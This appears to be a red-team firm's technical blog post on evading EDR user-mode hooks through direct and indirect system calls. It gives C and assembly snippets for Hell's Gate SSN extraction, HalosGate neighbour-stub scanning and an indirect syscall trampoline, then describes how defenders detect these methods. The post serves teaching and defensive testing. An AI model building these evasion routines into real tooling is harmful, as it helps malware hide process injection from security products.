Evading Modern EDRs with Direct System Calls and Dynamic Unhooking

The EDR Telemetry Battleground in Userland

Endpoint Detection and Response (EDR) platforms like CrowdStrike Falcon, Microsoft Defender for Endpoint, and SentinelOne rely heavily on user-mode API hooking inside critical Windows system DLLs (chiefly ntdll.dll).

When an adversary attempts to execute process injection, memory allocation, or thread creation (via APIs like VirtualAllocEx, WriteProcessMemory, or CreateRemoteThread), the call flows down to internal Native APIs: NtAllocateVirtualMemory, NtWriteVirtualMemory, and NtCreateThreadEx.

To inspect these calls before they reach the Windows kernel, EDR agents inject an inspection DLL into every newly spawned user process. This agent overwrites the prelude bytes of targeted Native API stubs in ntdll.dll with an unconditional JMP instruction directing execution into the EDR's proprietary analysis engine.

Anatomy of a User-Mode EDR Hook

Under standard Windows execution, an unhooked NtAllocateVirtualMemory stub in ntdll.dll appears as follows:

x86asm code

; Pristine Windows 11 x64 NtAllocateVirtualMemory stub
mov r10, rcx
mov eax, 0018h       ; System Service Number (SSN = 0x18)
test byte ptr [7FFE0308h], 1
jne 7FFF20401025
syscall              ; Transition to kernel-mode (Ring 0)
ret

When an EDR hooks this function at runtime, it replaces the first 5 bytes with a jump into its sensor module:

x86asm code

; Hooked NtAllocateVirtualMemory stub
jmp 0x7FFF98211000   ; Injected EDR Sensor Inspection Engine
nop
nop
...

If your payload invokes NtAllocateVirtualMemory, the EDR inspects the memory allocation flags (e.g. PAGE_EXECUTE_READWRITE), checks the calling thread call stack, inspects the allocated buffer for known shellcode signatures, and blocks the operation before a kernel context switch can occur.

The Evolution of Direct Syscall Evasion

1. Hell's Gate: Dynamic System Service Number (SSN) Extraction

Hardcoding Syscall numbers (SSNs) in assembly fails because SSNs change across Windows builds, service packs, and kernel revisions. In 2020, security researchers am0nsec and RtlMateusz introduced Hell's Gate.

Hell's Gate reads the loaded ntdll.dll in memory, locates the exported Native API by hashing its name, and parses the function opcode bytes:

c code

// Hell's Gate opcode pattern search:
// 4c 8b d1 -> mov r10, rcx
// b8 XX XX -> mov eax, SSN
if (*(PBYTE)pFunctionAddress == 0x4C &&
    *(PBYTE)(pFunctionAddress + 1) == 0x8B &&
    *(PBYTE)(pFunctionAddress + 2) == 0xD1 &&
    *(PBYTE)(pFunctionAddress + 3) == 0xB8) {
    
    // Extract SSN from the immediate DWORD
    WORD ssn = *(PWORD)(pFunctionAddress + 4);
    return ssn;
}

2. HalosGate: Overcoming Hooked Neighborhoods

The primary vulnerability of Hell's Gate is that if the target function is already hooked, the opcode pattern is broken by the EDR's jmp instruction.

HalosGate solves this by leveraging a fundamental truth of Windows ntdll.dll: Native API stubs are arranged sequentially in memory, with their SSNs strictly incrementing or decrementing by 1.

c code

// HalosGate algorithm: Check neighboring stubs if current stub is hooked
WORD HalosGate(PBYTE pFuncAddress) {
    for (int offset = 1; offset < 32; offset++) {
        // Check neighboring stubs downwards
        PBYTE downNeighbor = pFuncAddress + (offset * 32);
        if (downNeighbor[0] == 0x4C && downNeighbor[1] == 0x8B && 
            downNeighbor[2] == 0xD1 && downNeighbor[3] == 0xB8) {
            return *(PWORD)(downNeighbor + 4) - offset;
        }

        // Check neighboring stubs upwards
        PBYTE upNeighbor = pFuncAddress - (offset * 32);
        if (upNeighbor[0] == 0x4C && upNeighbor[1] == 0x8B && 
            upNeighbor[2] == 0xD1 && upNeighbor[3] == 0xB8) {
            return *(PWORD)(upNeighbor + 4) + offset;
        }
    }
    return 0xFFFF; // Resolution failure
}

The Modern Frontier: Indirect Syscalls via Trampolines

While HalosGate retrieves the correct SSN, executing a syscall instruction from within your own payload's private memory allocation (.text of an unbacked binary) triggers modern EDR detections.

Advanced EDRs monitor kernel-mode callbacks via ETW-TI (Event Tracing for Windows - Threat Intelligence). When a syscall executes, ETW-TI inspects the CPU instruction pointer (RIP). If the syscall was issued from a memory region outside ntdll.dll, an alert is instantly raised.

The Solution: Indirect Syscall Trampolines

Instead of executing syscall in our payload memory, we set up the CPU registers (r10, eax) in our code, and then execute a jmp to a legitimate syscall instruction already located inside ntdll.dll:

x86asm code

; Indirect Syscall Assembly Stub
.code
SyscallInvoke PROC
    mov r10, rcx
    mov eax, r11d                    ; r11 contains our resolved SSN
    jmp QWORD PTR [syscall_trampoline] ; Jump to legitimate 'syscall; ret' inside ntdll!
SyscallInvoke ENDP
END

Because the transition to Ring 0 happens while RIP resides inside the legitimate address space of ntdll.dll, ETW-TI verifies that the caller originated from a trusted system module, satisfying stack trace inspection algorithms.

Defensive Engineering: How SOC Teams Detect Indirect Syscalls

Red teams must not assume indirect syscalls provide absolute stealth. Defending enterprise networks requires blue teams to implement deep detection layers:

Kernel Call Stack Telemetry: Advanced detection products analyze the full call stack back to the original thread execution frames. If intermediate frames reveal unbacked memory regions, the process is quarantined.
Dynamic Unhooking Alerts: Monitoring for unauthorized memory permission changes (PAGE_EXECUTE_READWRITE) applied to the .text segment of ntdll.dll.
Hardware Breakpoint & Trap Flag Audits: Detecting thread contexts that register CPU debug registers (DR0-DR7) to manipulate memory execution flow.

At DevWalls, our red team exercises test not just whether tools trip alerts, but whether your SOC engineers and incident responders have the instrumentation necessary to isolate adversary payloads operating at this tier.